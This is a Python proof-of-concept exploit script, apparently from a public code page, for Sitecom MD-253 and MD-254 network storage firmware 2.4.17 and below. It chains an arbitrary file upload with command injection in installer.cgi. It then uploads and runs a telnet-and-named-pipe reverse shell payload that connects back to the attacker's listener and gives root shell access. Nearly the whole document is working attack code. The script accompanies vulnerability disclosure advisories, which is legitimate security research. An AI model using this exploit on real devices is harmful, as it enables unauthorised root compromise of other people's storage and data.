224 lines
No EOL
7.1 KiB
Python
Executable file
224 lines
No EOL
7.1 KiB
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
|
|
# Date: 09/11/12
|
|
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
|
|
# Vendor Homepage: http://www.sitecom.com
|
|
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
|
|
# Version: 2.4.17 and below
|
|
# Tested on: Windows 7 x64 and Backtrack 5 R1
|
|
# CVE : N/A
|
|
#
|
|
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
|
|
# devices can be combined to obtain a root shell.
|
|
#
|
|
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
|
|
#
|
|
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
|
|
# - granted execute permissions
|
|
# - not removed after uploading if they don't contain valid firmware
|
|
# - stored in a predictable location
|
|
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
|
|
# root (only a limited character set can be used due to URL-encoding by CGI-handler)
|
|
#
|
|
# Known Limitations:
|
|
# - Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
|
|
#
|
|
# Vulnerability Details:
|
|
# - http://www.alcyon.nl/advisories/aa-007
|
|
# - http://www.alcyon.nl/advisories/aa-008
|
|
#
|
|
# Latest version of this exploit:
|
|
# - http://www.alcyon.nl/blog/sitecom-poc-exploit
|
|
#
|
|
|
|
import sys
|
|
import os
|
|
import socket
|
|
import thread
|
|
import datetime
|
|
from optparse import OptionParser
|
|
|
|
upload_url = '/cgi-bin/upload'
|
|
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
|
|
sh_name = 'revsh'
|
|
|
|
sh_script = """
|
|
#!/bin/sh
|
|
mknod /tmp/backpipe p
|
|
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
|
|
# clean up our mess
|
|
rm -f /tmp/backpipe
|
|
rm -f /tmp/%s
|
|
""".rstrip('\r')
|
|
|
|
headers = """Host: %s\r
|
|
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
|
|
Accept-Language: en-us,en;q=0.5\r
|
|
Proxy-Connection: close\r
|
|
Referer: http://%s/firmware.htm\r
|
|
Cookie: language=en;\r\n"""
|
|
|
|
class Exploit:
|
|
|
|
def stdin_thread(self, sock):
|
|
try:
|
|
fd = sys.stdin.fileno()
|
|
while True:
|
|
data = os.read(fd, 1024)
|
|
if not data:
|
|
break
|
|
while True:
|
|
nleft = len(data)
|
|
nleft -= sock.send(data)
|
|
if nleft == 0:
|
|
break
|
|
except:
|
|
pass
|
|
sock.close()
|
|
self.running = False
|
|
|
|
def stdout_thread(self, sock):
|
|
last = datetime.datetime.now()
|
|
try:
|
|
fd = sys.stdout.fileno()
|
|
while True:
|
|
if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
|
|
sys.stderr.write('# '); # Insert fake prompt
|
|
last = datetime.datetime.now()
|
|
data = sock.recv(1024)
|
|
if not data:
|
|
break
|
|
while True:
|
|
nleft = len(data)
|
|
nleft -= os.write(fd, data)
|
|
if nleft == 0:
|
|
break
|
|
except Exception as e:
|
|
print e
|
|
pass
|
|
sock.close()
|
|
self.running = False
|
|
|
|
def parse_options(self):
|
|
parser = OptionParser(usage="usage: %prog [options]")
|
|
parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname",
|
|
help="Specify the host to connect to")
|
|
parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip",
|
|
help="Target IP for reverse shell connection")
|
|
parser.add_option("-p","--port",action="store",type="int",dest="port",
|
|
help="TCP port for the reverse shell connection")
|
|
|
|
parser.set_defaults(hostname=None, listener_ip=None, port=7777)
|
|
(options, args) = parser.parse_args();
|
|
|
|
if(options.hostname == None):
|
|
sys.stdout.write("Remote hostname/IP required\n")
|
|
parser.print_help()
|
|
sys.exit()
|
|
|
|
#self.forced_bind = (options.listener_ip != None)
|
|
self.listener_ip = options.listener_ip
|
|
self.hostname = options.hostname
|
|
self.port = options.port
|
|
|
|
def start_local_listener(self):
|
|
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
|
|
try:
|
|
self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
|
|
except socket.error:
|
|
sys.stderr.write("[-] Unable to set TCP_NODELAY")
|
|
|
|
try:
|
|
self.serv.bind((self.listener_ip, self.port))
|
|
except:
|
|
print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."
|
|
try:
|
|
self.serv.bind(('', self.port))
|
|
except:
|
|
print "[-] Unable to bind to default address. Aborting."
|
|
sys.exit(2)
|
|
|
|
print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
|
|
|
|
self.serv.listen(5)
|
|
self.clientsock, addr = self.serv.accept()
|
|
print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
|
|
self.clientsock.send('/bin/busybox uname -a\n');
|
|
banner = self.clientsock.recv(2048)
|
|
if (banner.find('Linux'))>=0:
|
|
print "[*] W00t W00t, got shell!\n\n%s\n" % banner
|
|
thread.start_new_thread(self.stdin_thread, (self.clientsock,))
|
|
thread.start_new_thread(self.stdout_thread, (self.clientsock,))
|
|
|
|
def connect_socket(self):
|
|
print "[*] Connecting..."
|
|
try:
|
|
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self.socket.connect( (self.hostname, 80) )
|
|
if not self.listener_ip:
|
|
self.listener_ip = self.socket.getsockname()[0]
|
|
print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
|
|
except Exception as inst:
|
|
print inst
|
|
print "[-] Unable to connect"
|
|
sys.exit(2)
|
|
|
|
def upload_payload(self):
|
|
print "[*] Uploading payload\n"
|
|
try:
|
|
self.socket.send('POST %s HTTP/1.1\n' % upload_url)
|
|
self.send_headers()
|
|
ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
|
|
begin_file='-----------------------------41184676334\r\n\
|
|
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
|
|
Content-Type: application/octet-stream\r\n\r'
|
|
end_file='\r\n-----------------------------41184676334--\r\n'
|
|
pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
|
|
cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
|
|
crlf = '\r\n'
|
|
data = ''.join([ct,cl,pl,crlf])
|
|
self.socket.send(data)
|
|
if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
|
|
print "[*] Payload succesfully uploaded"
|
|
self.socket.close()
|
|
else:
|
|
print "[-] Unexpected response. Trying to proceed anyway."
|
|
except:
|
|
print "[-] Error uploading payload. Aborting."
|
|
sys.exit(2)
|
|
|
|
def send_headers(self):
|
|
data = headers %(self.hostname, self.hostname)
|
|
self.socket.send(data)
|
|
|
|
def execute_payload(self):
|
|
print "[*] Executing payload"
|
|
cmd = '/tmp/' + sh_name
|
|
req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
|
|
cr = '\r\n'
|
|
self.socket.send(''.join([req,cr]))
|
|
self.send_headers()
|
|
if self.socket.recv(2048).find("200 OK")>=0:
|
|
print "[*] Finished executing payload"
|
|
self.socket.close()
|
|
|
|
def run(self):
|
|
self.line_buf = ''
|
|
self.prompt = False
|
|
self.parse_options()
|
|
self.connect_socket()
|
|
thread.start_new_thread(self.start_local_listener, ())
|
|
self.upload_payload()
|
|
self.connect_socket()
|
|
self.execute_payload()
|
|
print "[*] Waiting for reverse shell connection"
|
|
self.running = True
|
|
while self.running:
|
|
pass
|
|
|
|
exploit = Exploit()
|
|
exploit.run() |